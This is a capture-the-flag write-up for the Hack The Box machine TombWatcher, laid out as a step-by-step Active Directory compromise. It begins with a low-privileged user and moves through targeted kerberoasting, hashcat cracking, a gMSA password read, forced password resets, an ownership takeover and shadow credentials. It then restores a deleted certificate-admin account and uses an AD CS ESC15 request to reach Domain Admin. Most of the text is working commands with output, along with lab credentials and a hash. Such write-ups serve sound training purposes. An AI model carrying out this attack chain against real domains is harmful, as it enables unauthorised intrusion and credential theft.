HTB - TombWatcher

Description
Assume breach: starting with a low‑privileged domain user, the attacker discovers they can write an SPN to a peer account and crack the resulting service ticket. Those new credentials let them self‑add to an “Infrastructure”‑level group that exposes plaintext gMSA passwords. With the gMSA password, they change the password of a server account that owns another privileged identity, then seize that identity and pivot to the domain controller over WinRM. Holding full control rights on AD CS and permission to resurrect tombstoned
objects, they restore a dormant certificate‑administration account and exploit AD CS ESC15 to mint a certificate for Domain Admins—securing complete control of the forest.
Enumeration
As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account:
henry / H3nry_987TGV!
Before I began, I exported IP, Username, Password, and Domain to variables for easy usage
export target=10.129.150.197; export user=henry; export password='H3nry_987TGV!'; export domain=tombwatcher.htb
Then, I started with normal Nmap
Scan to find all open ports
Nmap Scan
nmap $target -p- --min-rate 10000 -Pn -oN Nmap/allports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
Exported all open ports to a variable and ran the script and version detection scans
export ports="$(cat Nmap/allports | grep '^[0-9]' | cut -d/ -f1 | tr "\n" "," | sed 's/,$//g')";
nmap -p"$ports" $target -Pn -sC -sV -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-08 07:10:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-08T07:11:47+00:00; +4h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-07-08T07:11:46+00:00; +4h00m03s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-08T07:11:47+00:00; +4h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-07-08T07:11:46+00:00; +4h00m03s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Summary
* Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389
* Services: DNS, IIS, KERBEROS, LDAP, RPC, SMB, LDAPS, winRM
* Important notes: Domain:tombwatcher.htb - DC01.tombwatcher.htb
I always update /etc/hosts
before I attack the domain to avoid any tooling issues
echo "$target dc01 dc01.tombwatcher.htb tombwatcher.htb" | sudo tee -a /etc/hosts
10.10.11.72 dc01 dc01.tombwatcher.htb tombwatcher.htb
With valid domain credentials, I started with an enumeration of SMB, looking for accessible shares, but only found the default ones
nxc smb $target -u $user -p $password --shares

The webpage at http://10.10.11.72/ is the default IIS
page with nothing to do with it

With nothing to do with HTTP
& SMB
I moved to enumerate the domain looking for escalation paths, so I fired bloodhound.py
for automated enumeration and powerview.py
for manual enumeration
Note: PowerView can get escalation paths that bloodhound can't
bloodhound-python -u $user -p $password -ns $target -d $domain -c all --dns-timeout 120 --zip

First, you need to install PowerView
with pip3
Inside the Python virtual environment
python3 -m venv .; source ./bin/activate; pip3 install powerview
Start PowerView.py
with GUI
dashboard
powerview "$domain/$user:$password"@"$target" --web --web-host 0.0.0.0 --web-port 8888

From the dashboard
, I could get useful information and find that CA is installed on the domain

Alternatively, I used netexec
to find the CA
nxc ldap $target -u $user -p $password -M adcs
ADCS 10.129.150.197 389 DC01 Found PKI Enrollment Server: DC01.tombwatcher.htb
ADCS 10.129.150.197 389 DC01 Found CN: tombwatcher-CA-1
From bloodhound-GUI
I saw that Henry
can add a Service Principal Name (SPN) to Alfred
user, so I could perform targetedkerberoast
attack by requesting the service ticket for him and cracking it offline to get the password. Alfred
can then add himself to infrastructure
group

Infrastructure
group can read the GMSA password of ansible_E_DEV$

ansible_e_dev$
Can change the password for SAM
user, then sam
Can write Ownership on john
user who can access the machine via winRM

The same privileges can be shown with PowerView
(LDAPS)-[DC01.tombwatcher.htb]-[TOMBWATCHER\Henry]
PV > Get-DomainUser -Identity * -Select Name,ObjectSid
name : john
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1106
name : sam
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1105
name : Alfred
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1104
name : Henry
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1103
Get-DomainObjectAcl -Identity * -ResolveGUIDs -SecurityIdentifier S-1-5-21-1392491010-1358638721-2126982587-1103
WriteSPN & AddSelf

WriteOwner

ForceChangePassword

The tool failed to get ReadGMSAPassword
from infrastructure
group, however, it shows additional privileges of john
user that bloodhound
didn't show
Bloodhound:

PowerView:

User
John
canReanimate-Tombstones
which means he is able to restoredeleted AD Objects
fromAD Recycle bin
and this shows the powerful of manual enumeration and not rely completely in automated tools
To summarize the attack path:
Henry
->WriteSPN
->Alfred
Alfred
->AddSelf
->Infrastructure
Infrastructure
->ReadGMSAPassword
->ansible_e_dev$
ansible_e_dev$
->ChangePassword
->SAM
SAM
->WriteOwner
->John
John
->winRM
/FullControl (ADCS)
/Reanimate-Tombstones
->DC01

Foothold
I will show how to perform the attack path using bloodyAD
. PowerView.py
can do the same job, too.
With bloodyAD
bloodyAD
WriteSPN
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set object alfred ServicePrincipalName -v cifs/any.tombwatcher.htb
[+] alfred's servicePrincipalName has been updated

Crack the hash
hashcat -m 13100 kerberos.hash /usr/share/wordlist/rockyou.txt
..snip..
d0495f5eb9266d1cbb35c26a219ebf294ee817bb14f872b2bd1421079b3b72abcd1107242e49de3adf6546f5503b61daa741584db9c1fe95fa6da6656a58409791491009a5e6ff8ce898b9eef6c5cc3b6e0470e7fc0d28223f30719e4e1b5e80638296a02b614dd835359d041a25476d2c14400950f58afa471de26c91e9819454a6f16ffe1c1563a183346699849af5976f1f504c8d7ca9a74e359dae0812160044fec5af5c3b991b9c5eafe1312f57f479e9bd5560f9d319d05ee4d87400bccbc5f9e9c136fc3d4baa8af0a1a5a02382ee1c81f2507d274451dc128b4607591ebfc16e30bd2bfae4e6d:REDACTED
Session..........: hashcat
Status...........: Cracke
AddSelf
export user=Alfred; export password=REDACTED
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" add groupMember "Infrastructure" Alfred
[+] Alfred added to Infrastructure
Read GMSA Password
nxc ldap $target -u $user -p $password --gmsa

Force Change Password
bloodyAD --dc-ip $target -d "$domain" -u 'ansible_dev$' -p :REDACTED set password sam 'P@ssw0rd123!!!'
WriteOwner
export user=sam; export password='P@ssw0rd123!!!'
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set owner John sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on John
After gaining ownership of a user, I can grant myself FullControl
on him.
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" add genericAll John Sam
[+] Sam has now GenericAll on John
Then, change the password for him or perform a shadow credentials attack:
I prefer to perform shadow credentials attack as it follows OPSEC consideration
Change Password
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set password John 'P@ssw0rd123!!!'
[+] Password changed successfully!
shadow credentials
certipy shadow auto -u sam@tombwatcher.htb -p 'P@ssw0rd123!!!' -account john
[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '2fa5c34f-5dbc-ae53-8e07-01bf1c1f938b'
[*] Adding Key Credential with device ID '2fa5c34f-5dbc-ae53-8e07-01bf1c1f938b' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID '2fa5c34f-5dbc-ae53-8e07-01bf1c1f938b' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Using principal: john@tombwatcher.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': REDACTED
With PowerView
PowerView
#WriteSPN
Set-DomainObject -Identity alfred -Set serviceprincipalname=cifs/any.tombwatcher.htb
#kerberoast
nxc ldap $target -u $user -p $password --kerberoast kerberos.hash
hashcat -m 13100 kerberos.hash /usr/share/wordlist/rockyou.txt
#Auth with Alfred & AddSelf
Add-DomainGroupMember -Identity Infrastructure -Members alfred
#Read GMSA password
nxc ldap $target -u alfred -p REDCATED --gmsa
#ForceChangePassword
powerview tombwatcher.htb/'ansible_dev$'@$target -H REDACTED
Set-DomainUserPassword -Identity sam -AccountPassword 'P@ssw0rd123!!!'
#WriteOwner
Set-ObjectOwner -TargetIdentity john -PrincipalIdentity sam
Add-DomainObjectAcl -TargetIdentity john -PrincipalIdentity sam
Set-DomainUserPassword -Identity john -AccountPassword 'P@ssw0rd123!!!'
Access the box via winRM
evil-winrm -i dc01 -u John -H 1df71c58e95017fb3xxxxxxxxxxxx

*Evil-WinRM* PS C:\Users\john> type Desktop\user.txt
d286ae125c33b9xxxxxxxxxxxxxxxx
User Flag: d286ae125c33b9xxxxxxxxxxxxxxxx
Lateral Movement
With Reanimate-Tombstones
, I could restore deleted AD objects, but first I should look for them. With the PowerShell command Get-ADObject
I could find the object with isDeleted
attribute.
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects
I focused on the last entry because the first one CN=Deleted Objects,DC=tombwatcher,DC=htb
is just the default container. I wanted to check the most recently deleted object, which would appear last in the list.

I could then restore the object with its GUID
restore-ADObject -identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'
Get-ADuser -filter * | where name -eq "cert_admin"

The user cert_admin
is restored into ADCS
OU, which I have GenericAll
on it with the user John
So I can take control of cert_admin
user
certipy shadow auto -u John@tombwatcher.htb -hashes :REDACTED -account cert_admin

Privilege Escalation
With cert_admin
cred, I looked for a vulnerable template using the latest version of certipy
and found the WebServer
template is vulnerable to ESC15
certipy find -u cert_admin -hashes :REDACTED -dc-ip $target -enable -stdout
..snip..
Template Name : WebServer
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Write Property Enroll TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
I used Certipy Wiki to perform the attack (Version 1 Template Behavior):
certipy req -dc-ip $target -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -u cert_admin@$domain -hashes :f87ebf0febd9c4095c68a88928755773 -template WebServer -upn Administrator@tombwatcher.htb -application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip $target -ldap-shell
add_user_to_group john "Domain Admins"

Access the box after obtaining DA privileges
evil-winrm -i dc01 -u John -H REDACTED

*Evil-WinRM* PS C:\Users\john\Documents> type C:\Users\Administrator\Desktop\root.txt
468983500bae8axxxxxxxxxxxxxx
Root Flag: 468983500bae8axxxxxxxxxxxxxx
Last updated